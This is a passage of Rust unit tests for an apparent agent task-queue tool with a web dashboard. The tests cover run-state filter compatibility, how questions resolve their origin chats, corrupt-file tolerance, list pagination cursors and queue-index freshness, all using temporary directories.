23622            let status_end = entry[status_at..]
23623                .find('"')
23624                .expect("the status string is closed")
23625                + status_at;
23626            let parked = entry.contains("display_status: \"parked\"");
23627            shapes.push((
23628                waiting,
23629                entry[status_at..status_end].to_string(),
23630                dead,
23631                parked,
23632            ));
23633        }
23634        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23635
23636        // The done rule itself (`!["implementing"].includes(shape.status)`),
23637        // read out of the source rather than hardcoded, so a renamed
23638        // in-flight status can't silently make every parsed shape "done".
23639        let done_rule_marker = "done: !";
23640        let done_rule_at = APP_JS[shapes_close..]
23641            .find(done_rule_marker)
23642            .expect("the done rule follows the shape list")
23643            + shapes_close
23644            + done_rule_marker.len();
23645        let includes_at = APP_JS[done_rule_at..]
23646            .find(".includes(shape.status)")
23647            .expect("the done rule ends in .includes(shape.status)")
23648            + done_rule_at;
23649        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23650            .trim()
23651            .trim_start_matches('[')
23652            .trim_end_matches(']')
23653            .split(',')
23654            .map(|s| s.trim().trim_matches('"'))
23655            .filter(|s| !s.is_empty())
23656            .collect();
23657
23658        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23659            .into_iter()
23660            .map(|(waiting, status, dead, parked)| {
23661                let done = !not_done.contains(&status.as_str());
23662                (waiting, status, dead, parked, done)
23663            })
23664            .collect();
23665
23666        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23667        // outright, then merged/ready land, stalled/blocked/failed/
23668        // verified_noop end, and everything else is still in flight.
23669        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23670            if waiting {
23671                return "waiting";
23672            }
23673            if dead
23674                && !parked
23675                && !matches!(
23676                    status,
23677                    "merged"
23678                        | "ready"
23679                        | "stalled"
23680                        | "blocked"
23681                        | "failed"
23682                        | "verified_noop"
23683                        | "superseded"
23684                        | "already_in_base"
23685                )
23686            {
23687                return "stale";
23688            }
23689            match status {
23690                "merged" | "ready" => "landed",
23691                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23692                | "already_in_base" => "ended",
23693                _ => "flight",
23694            }
23695        }
23696
23697        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23698        // way.
23699        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23700            match filter_key {
23701                "active" => !done,
23702                "flight" => !done && !waiting && !dead,
23703                "stale" => !done && !waiting && dead,
23704                "waiting" => waiting,
23705                "done" => done,
23706                "all" => true,
23707                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23708            }
23709        }
23710
23711        let compatible = |section: &str, filter_key: &str| {
23712            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23713                run_section(*waiting, status, *dead, *parked) == section
23714                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23715            })
23716        };
23717
23718        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23719        // (active, flight, stale, waiting, done, all) - hand-derived from the
23720        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23721        // currently contains.
23722        let expected = [
23723            ("waiting", [true, false, false, true, true, true]),
23724            ("stale", [true, false, true, false, false, true]),
23725            ("flight", [true, true, false, false, false, true]),
23726            ("landed", [false, false, false, false, true, true]),
23727            ("ended", [false, false, false, false, true, true]),
23728        ];
23729        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23730
23731        for (section, wants) in expected {
23732            for (filter_key, want) in filter_keys.iter().zip(wants) {
23733                assert_eq!(
23734                    compatible(section, filter_key),
23735                    want,
23736                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23737                );
23738            }
23739        }
23740
23741        // The compatibility check exists only to be acted on: both pickers
23742        // must actually consult it rather than just render its answer.
23743        assert!(
23744            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23745        );
23746        assert!(APP_JS.contains(
23747            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23748        ));
23749        assert!(APP_JS.contains(
23750            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23751        ));
23752    }
23753
23754    #[tokio::test]
23755    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23756        // An operator-named directory - git checkout or not - is never
23757        // second-guessed, even when it does not exist at all: only the
23758        // flag's own unmodified `.` default is ever eligible for discovery.
23759        let dir = tempfile::tempdir().expect("tempdir");
23760        let explicit = dir.path().join("not-a-checkout");
23761        std::fs::create_dir_all(&explicit).expect("create dir");
23762        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23763
23764        let missing = dir.path().join("does-not-exist-at-all");
23765        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23766    }
23767
23768    #[test]
23769    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23770        assert!(APP_JS.contains("function statsDonutArcs"));
23771        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23772        // A bucket click filters by the statuses src/stats.rs counts in it.
23773        assert!(APP_JS.contains("function statusInBucket"));
23774        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23775        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23776        let buckets = [
23777            "merged",
23778            "ready",
23779            "in_progress",
23780            "blocked",
23781            "failed",
23782            "verified_noop",
23783            "superseded",
23784            "stalled",
23785        ];
23786        for key in buckets {
23787            let var = format!("--verdict-{key}:");
23788            // Light, OS-dark and pinned-dark blocks each define it.
23789            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23790            assert!(
23791                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23792                "{key}"
23793            );
23794        }
23795    }
23796
23797    #[tokio::test]
23798    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23799        let dir = tempfile::tempdir().expect("tempdir");
23800        let queue = Queue::at(dir.path().join("queue"));
23801        let talks = Talks::at(dir.path().join("talks"));
23802        std::fs::create_dir_all(queue.root()).unwrap();
23803        std::fs::create_dir_all(talks.root()).unwrap();
23804
23805        // Put a corrupt json file in both stores
23806        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23807        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23808
23809        // Valid task and talk
23810        let mut task = Task::new(
23811            "title".into(),
23812            "inst".into(),
23813            PathBuf::from("/repo"),
23814            Source::Human,
23815        );
23816        task.id = "20261019-123456-abcd".into();
23817        // Write manually so it's a valid file
23818        std::fs::write(
23819            queue.path_of(&task.id),
23820            serde_json::to_string(&task).unwrap(),
23821        )
23822        .unwrap();
23823
23824        let talk_id = "20261019-234567-cdef";
23825        seed_talk_at(&talks, talk_id, "open");
23826
23827        // Exact match should succeed without failing on the corrupt json file
23828        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23829        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23830
23831        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23832        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23833        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23834    }
23835
23836    #[tokio::test]
23837    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23838        let home = tempfile::tempdir().unwrap();
23839        let ui = delta_test_ui(home.path());
23840        // A full history traversal would fail even with no questions.
23841        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23842        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23843        assert!(
23844            questions_list(State(ui.clone()))
23845                .await
23846                .unwrap()
23847                .0
23848                .is_empty()
23849        );
23850        assert!(
23851            question_origins(State(ui.clone()))
23852                .await
23853                .unwrap()
23854                .0
23855                .is_empty()
23856        );
23857        let mut question = Question::new(
23858            "run-history".into(),
23859            "review".into(),
23860            "seat".into(),
23861            "Useful question".into(),
23862            "Useful detail".into(),
23863            vec![],
23864        );
23865        ui.questions.put(&mut question).unwrap();
23866        let core = questions_core(State(ui.clone())).await.unwrap().0;
23867        assert_eq!(core.len(), 1);
23868        assert_eq!(core[0].question.summary, "Useful question");
23869        assert!(!core[0].can_consult_chat);
23870        assert!(core[0].origin_chat.is_none());
23871        assert_eq!(core[0].record_revision, question_record_revision(&question));
23872        assert!(question_origins(State(ui.clone())).await.is_err());
23873        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23874    }
23875
23876    #[tokio::test]
23877    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23878        let home = tempfile::tempdir().unwrap();
23879        let ui = delta_test_ui(home.path());
23880        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23881        let mut parent = Task::new(
23882            "parent".into(),
23883            "body".into(),
23884            PathBuf::from("/repo"),
23885            Source::Agent {
23886                run: chat.clone(),
23887                node: crate::queue::CHAT_NODE.into(),
23888            },
23889        );
23890        parent.id = "parent-task".into();
23891        parent.runs = vec!["parent-run".into()];
23892        ui.queue.put(&mut parent).unwrap();
23893        let mut previous = parent;
23894        for generation in 1..=2 {
23895            let mut child = Task::new(
23896                "child".into(),
23897                "body".into(),
23898                PathBuf::from("/repo"),
23899                Source::Human,
23900            );
23901            child.id = format!("child-task-{generation}");
23902            child.runs = vec![format!("child-run-{generation}")];
23903            child.followup = Some(crate::queue::FollowUp {
23904                origin_task: Some(previous.id.clone()),
23905                run: previous.runs[0].clone(),
23906                pr: String::new(),
23907                findings: vec![],
23908                generation,
23909            });
23910            ui.queue.put(&mut child).unwrap();
23911            previous = child;
23912        }
23913        // A run may have the same spelling as another task's id; its owner
23914        // must not override a typed task reference.
23915        let mut collision = Task::new(
23916            "collision".into(),
23917            String::new(),
23918            PathBuf::from("/repo"),
23919            Source::Human,
23920        );
23921        collision.id = "collision-task".into();
23922        collision.runs = vec![previous.id.clone()];
23923        ui.queue.put(&mut collision).unwrap();
23924        let mut questions = Vec::new();
23925        for (node, reference, expected, eligible) in [
23926            (crate::triage::NODE, previous.id.as_str(), true, false),
23927            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23928            ("review", previous.runs[0].as_str(), true, true),
23929            (
23930                crate::bump::NOTICE_NODE,
23931                previous.runs[0].as_str(),
23932                true,
23933                false,
23934            ),
23935            // Identical text in the wrong reference namespace is not evidence.
23936            ("review", previous.id.as_str(), false, false),
23937            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23938            ("review", "unrelated", false, false),
23939        ] {
23940            let mut q = Question::new(
23941                reference.into(),
23942                node.into(),
23943                "seat".into(),
23944                "Question".into(),
23945                String::new(),
23946                vec![],
23947            );
23948            ui.questions.put(&mut q).unwrap();
23949            questions.push((q, expected, eligible));
23950        }
23951        for (node, reference, associated, eligible) in [
23952            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23953            (
23954                crate::reconcile::NODE,
23955                previous.runs[0].as_str(),
23956                false,
23957                true,
23958            ),
23959            ("implement", previous.id.as_str(), false, false),
23960        ] {
23961            let mut q = Question::new(
23962                reference.into(),
23963                node.into(),
23964                crate::reconcile::SEAT.into(),
23965                "Reconcile".into(),
23966                String::new(),
23967                vec![],
23968            );
23969            ui.questions.put(&mut q).unwrap();
23970            questions.push((q, associated, eligible));
23971        }
23972        let mut release = Question::new(
23973            "release-record".into(),
23974            crate::bump::NOTICE_NODE.into(),
23975            "release-watch".into(),
23976            "Release".into(),
23977            String::new(),
23978            vec![],
23979        );
23980        ui.questions.put(&mut release).unwrap();
23981        let watch = crate::release_watch::WatchState {
23982            question: Some(release.id.clone()),
23983            run: Some(previous.runs[0].clone()),
23984            held_task: Some(previous.id.clone()),
23985            ..Default::default()
23986        };
23987        let watch_dir = home.path().join("release-watch");
23988        std::fs::create_dir_all(&watch_dir).unwrap();
23989        let watch_path = watch_dir.join("watch.json");
23990        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23991        // Ordinary questions and bump notices do not need watch-store I/O.
23992        for batch in [
23993            Vec::new(),
23994            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23995        ] {
23996            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23997            assert!(watches.is_empty());
23998        }
23999        questions.push((release.clone(), true, false));
24000
24001        let views = questions_list(State(ui.clone())).await.unwrap().0;
24002        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24003        for (q, associated, eligible) in &questions {
24004            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24005            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24006            let expected = associated.then_some(chat.as_str());
24007            assert_eq!(
24008                view.origin_chat.as_deref(),
24009                expected,
24010                "{} {}",
24011                q.node,
24012                q.run
24013            );
24014            assert_eq!(origin.origin_chat.as_deref(), expected);
24015            assert_eq!(view.origin_chat_closed, *associated);
24016            assert_eq!(origin.origin_chat_closed, *associated);
24017            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24018            assert_eq!(origin.can_consult_chat, *eligible);
24019        }
24020        // Either saved link independently recovers a release question's owner.
24021        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24022            let link = crate::release_watch::WatchState {
24023                run,
24024                held_task,
24025                ..watch.clone()
24026            };
24027            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24028            let (tasks, talks, watches) =
24029                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24030            assert_eq!(
24031                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24032                    .unwrap()
24033                    .id,
24034                chat,
24035            );
24036            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24037        }
24038        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24039        // Even identical duplicate records are ambiguous: ignore their links.
24040        let duplicate_path = watch_dir.join("duplicate.json");
24041        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24042        let (tasks, talks, watches) =
24043            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24044        assert!(
24045            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24046                .is_none()
24047        );
24048        std::fs::remove_file(duplicate_path).unwrap();
24049        // Another explicit owner is a conflict even if it has no chat.
24050        let mut unrelated = Task::new(
24051            "other".into(),
24052            String::new(),
24053            PathBuf::from("/repo"),
24054            Source::Human,
24055        );
24056        unrelated.id = "unrelated-task".into();
24057        ui.queue.put(&mut unrelated).unwrap();
24058        let mut conflicting = watch.clone();
24059        conflicting.held_task = Some(unrelated.id);
24060        std::fs::write(
24061            watch_dir.join("conflict.json"),
24062            serde_json::to_vec(&conflicting).unwrap(),
24063        )
24064        .unwrap();
24065        let (tasks, talks, watches) =
24066            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24067        assert!(
24068            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24069                .is_none()
24070        );
24071        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24072        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24073        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24074            assert!(origin.origin_chat.is_none());
24075            assert!(!origin.origin_chat_closed);
24076        }
24077    }
24078
24079    #[test]
24080    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24081        let home = tempfile::tempdir().unwrap();
24082        let ui = delta_test_ui(home.path());
24083        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24084        for i in 0..1000 {
24085            let mut task = Task::new(
24086                "unrelated".into(),
24087                "instruction ".repeat(256),
24088                PathBuf::from("/repo"),
24089                Source::Human,
24090            );
24091            task.id = format!("history-{i:04}");
24092            ui.queue.put(&mut task).unwrap();
24093            let id = seed_talk_at(&ui.talks, &task.id, "open");
24094            let mut talk = ui.talks.get(&id).unwrap();
24095            talk.pending = "history ".repeat(256);
24096            ui.talks.put(&mut talk).unwrap();
24097        }
24098        let mut parent = Task::new(
24099            "parent".into(),
24100            "body".into(),
24101            PathBuf::from("/repo"),
24102            Source::Agent {
24103                run: chat_id.clone(),
24104                node: crate::queue::CHAT_NODE.into(),
24105            },
24106        );
24107        parent.id = "task-parent".into();
24108        parent.runs = vec!["run-parent".into()];
24109        ui.queue.put(&mut parent).unwrap();
24110        let mut child = Task::new(
24111            "child".into(),
24112            "body".into(),
24113            PathBuf::from("/repo"),
24114            Source::Human,
24115        );
24116        child.id = "task-child".into();
24117        child.runs = vec!["run-child".into()];
24118        child.followup = Some(crate::queue::FollowUp {
24119            run: "run-parent".into(),
24120            origin_task: Some(parent.id.clone()),
24121            pr: "https://example.invalid/pr/1".into(),
24122            findings: vec![],
24123            generation: 1,
24124        });
24125        ui.queue.put(&mut child).unwrap();
24126        let mut question = Question::new(
24127            child.id.clone(),
24128            crate::conduct::NODE.into(),
24129            "seat".into(),
24130            "Continue?".into(),
24131            String::new(),
24132            vec![],
24133        );
24134        let (tasks, talks, _watches) =
24135            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24136        assert_eq!(tasks.len(), 2);
24137        assert_eq!(talks.len(), 1);
24138        assert_eq!(
24139            ui.monitor.queue_index.lock().unwrap().reparsed,
24140            0,
24141            "exact ancestry bypasses the index"
24142        );
24143        assert_eq!(
24144            crate::consult::origin_talk(&tasks, &talks, &question)
24145                .unwrap()
24146                .id,
24147            chat_id
24148        );
24149        question.run = "run-child".into();
24150        question.node = "review".into();
24151        for origin_task in [Some(parent.id.clone()), None] {
24152            child.followup.as_mut().unwrap().origin_task = origin_task;
24153            ui.queue.put(&mut child).unwrap();
24154            let (tasks, talks, _watches) =
24155                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24156            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24157            let expected =
24158                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24159                    .unwrap();
24160            assert_eq!(actual.id, expected.id);
24161            assert!(!actual.status.open());
24162            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24163            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24164            // Without Unix file identity, every readable record must be
24165            // reparsed to detect same-size, same-mtime replacements safely.
24166            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24167            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24168        }
24169        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24170        ui.queue.put(&mut child).unwrap();
24171        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24172        let (tasks, talks, _watches) =
24173            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24174        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24175        child.origin_chat = Some(chat_id.clone());
24176        ui.queue.put(&mut child).unwrap();
24177        let (tasks, talks, _watches) =
24178            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24179        assert_eq!(
24180            crate::consult::origin_talk(&tasks, &talks, &question)
24181                .unwrap()
24182                .id,
24183            chat_id
24184        );
24185        let revision = question_record_revision(&question);
24186        question.abandon("settled elsewhere");
24187        assert_ne!(revision, question_record_revision(&question));
24188        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24189        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24190        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24191        let (tasks, talks, _watches) =
24192            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24193        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24194    }
24195
24196    #[test]
24197    fn list_cursors_freeze_membership_and_expire_explicitly() {
24198        let home = tempfile::tempdir().unwrap();
24199        let ui = delta_test_ui(home.path());
24200        std::fs::create_dir_all(ui.queue.root()).unwrap();
24201        for i in 0..40 {
24202            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24203        }
24204        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24205        assert_eq!(first.len(), STORE_PAGE_SIZE);
24206        let cursor = cursor.unwrap();
24207        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24208        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24209        let (second, _) = page_ids(
24210            &ui,
24211            false,
24212            PageQuery {
24213                before: Some(cursor.clone()),
24214            },
24215        )
24216        .unwrap();
24217        assert_eq!(second[0], "record-0023");
24218        assert!(second.iter().all(|id| !first.contains(id)));
24219        assert!(
24220            page_ids(
24221                &ui,
24222                true,
24223                PageQuery {
24224                    before: Some(cursor.clone())
24225                }
24226            )
24227            .is_err()
24228        );
24229        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24230        assert_eq!(fresh[0], "record-9999");
24231        ui.monitor.list_walks.lock().unwrap().clear();
24232        assert!(
24233            page_ids(
24234                &ui,
24235                false,
24236                PageQuery {
24237                    before: Some(cursor)
24238                }
24239            )
24240            .is_err()
24241        );
24242    }
24243
24244    #[tokio::test]
24245    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24246        let home = tempfile::tempdir().unwrap();
24247        let ui = delta_test_ui(home.path());
24248        let mut task = Task::new(
24249            "task".into(),
24250            "body".into(),
24251            PathBuf::from("/repo"),
24252            Source::Human,
24253        );
24254        ui.queue.put(&mut task).unwrap();
24255        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24256        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24257        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24258        let expected = parsed + usize::from(!cfg!(unix));
24259        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24260        task.status = crate::queue::TaskStatus::Held;
24261        ui.queue.put(&mut task).unwrap();
24262        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24263        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24264        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24265        ui.queue.put(&mut task).unwrap();
24266        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24267        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24268        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24269    }
24270
24271    #[tokio::test]
24272    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24273        let home = tempfile::tempdir().unwrap();
24274        let ui = delta_test_ui(home.path());
24275        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24276        let before = health(State(ui.clone())).await.unwrap().0;
24277        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24278        let after = health(State(ui)).await.unwrap().0;
24279        assert_ne!(before.notifications_rev, after.notifications_rev);
24280        assert_eq!(after.notifications_unread, 1);
24281    }
24282
24283    #[tokio::test]
24284    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24285        let home = tempfile::tempdir().unwrap();
24286        let ui = delta_test_ui(home.path());
24287        let queue = &ui.queue;
24288        let talks = &ui.talks;
24289        for i in 0..1000 {
24290            let id = format!("20261019-{i:06}-page");
24291            let mut task = Task::new(
24292                "task".into(),
24293                "instruction".repeat(100),
24294                PathBuf::from("/repo/magi"),
24295                Source::Human,
24296            );
24297            task.id = id.clone();
24298            if i == 0 {
24299                task.status = crate::queue::TaskStatus::Held;
24300            } else if i == 999 {
24301                task.status = crate::queue::TaskStatus::Blocked;
24302                task.blocked_by = vec!["20261019-000000-page".into()];
24303            }
24304            queue.put(&mut task).unwrap();
24305            seed_talk_at(talks, &id, "open");
24306        }
24307        let page = serde_json::to_value(
24308            queue_page(State(ui.clone()), Query(PageQuery::default()))
24309                .await
24310                .unwrap()
24311                .0,
24312        )
24313        .unwrap();
24314        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24315        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24316        assert!(
24317            !page["rows"][0]["stuck_roots"]
24318                .as_array()
24319                .unwrap()
24320                .is_empty()
24321        );
24322        let cursor = page["next"].as_str().unwrap();
24323        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24324            .as_str()
24325            .unwrap();
24326        // Deleting an already enumerated file cannot shift or repeat a page.
24327        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24328        let next = serde_json::to_value(
24329            queue_page(
24330                State(ui.clone()),
24331                Query(PageQuery {
24332                    before: Some(cursor.into()),
24333                }),
24334            )
24335            .await
24336            .unwrap()
24337            .0,
24338        )
24339        .unwrap();
24340        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24341        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24342        let chats = serde_json::to_value(
24343            talks_page(State(ui.clone()), Query(PageQuery::default()))
24344                .await
24345                .unwrap()
24346                .0,
24347        )
24348        .unwrap();
24349        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24350        assert!(chats["rows"][0].get("pending").is_none());
24351        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24352        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24353        assert_eq!(counts["held"], 1);
24354        assert_eq!(counts["blocked"], 1);
24355        assert_eq!(counts["queued"], 997);
24356    }
24357
24358    #[test]
24359    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24360        let dir = tempfile::tempdir().unwrap();
24361        let ui = delta_test_ui(dir.path());
24362        let mut task = Task::new(
24363            "task".into(),
24364            "body".into(),
24365            PathBuf::from("/repo"),
24366            Source::Human,
24367        );
24368        task.runs = vec!["run-a".into()];
24369        ui.queue.put(&mut task).unwrap();
24370        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24371        task.runs = vec!["run-b".into()];
24372        let path = ui.queue.path_of(&task.id);
24373        let modified = path.metadata().unwrap().modified().unwrap();
24374        let replacement = path.with_extension("replacement");
24375        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24376        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24377        std::fs::write(&replacement, &bytes).unwrap();
24378        std::fs::File::options()
24379            .write(true)
24380            .open(&replacement)
24381            .unwrap()
24382            .set_times(std::fs::FileTimes::new().set_modified(modified))
24383            .unwrap();
24384        std::fs::rename(&replacement, &path).unwrap();
24385        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24386        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24387        std::fs::write(&path, "broken").unwrap();
24388        assert!(ui.find_task_for_run("run-b").is_err());
24389        std::fs::write(&path, bytes).unwrap();
24390        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24391        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24392        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24393    }
24394
24395    #[tokio::test]
24396    async fn conversation_core_is_independent_of_unreadable_related_history() {
24397        let home = tempfile::tempdir().unwrap();
24398        let ui = delta_test_ui(home.path());
24399        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24400        std::fs::create_dir_all(ui.queue.root()).unwrap();
24401        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24402        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24403            .await
24404            .unwrap();
24405        assert_eq!(core.talk.id, id);
24406        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24407    }
24408
24409    #[tokio::test]
24410    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24411        let home = tempfile::tempdir().unwrap();
24412        let ui = delta_test_ui(home.path());
24413        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24414        let mut task = Task::new(
24415            "Referenced task".into(),
24416            "Unrelated instruction history".repeat(1024),
24417            home.path().into(),
24418            Source::Human,
24419        );
24420        task.id = "20261019-000000-abcd".into();
24421        ui.queue.put(&mut task).unwrap();
24422        let mut conversation = ui.talks.get(&id).unwrap();
24423        conversation.turns.push(talk::Turn {
24424            sender: Some(talk::Sender::Persona),
24425            who: talk::Who::Agent,
24426            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24427            at: conversation.created_at,
24428            attachments: Vec::new(),
24429            usage: None,
24430            breaks: None,
24431            messages: Vec::new(),
24432            posted_by: None,
24433        });
24434        ui.talks.put(&mut conversation).unwrap();
24435
24436        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24437        let markdown = serde_json::to_value(&core.turn_bodies_md)
24438            .unwrap()
24439            .to_string();
24440        assert!(markdown.contains("\"strong\""));
24441        assert!(markdown.contains("\"table\""));
24442        assert!(markdown.contains("\"bullet_list\""));
24443        assert!(markdown.contains("\"code_block\""));
24444        assert!(!markdown.contains("\"internal_link\""));
24445        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24446        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24447        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24448
24449        // Deferred decoration still resolves the same validated task, without
24450        // touching opaque code blocks or changing the original transcript.
24451        let references = ui.references.for_talk(home.path(), &conversation);
24452        let mut decorated = core.turn_bodies_md[0].clone();
24453        references.markdown(&mut decorated);
24454        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24455        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24456        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24457        assert_eq!(
24458            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24459            conversation.turns[0].body
24460        );
24461    }
24462
24463    #[tokio::test]
24464    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24465        let home = tempfile::tempdir().unwrap();
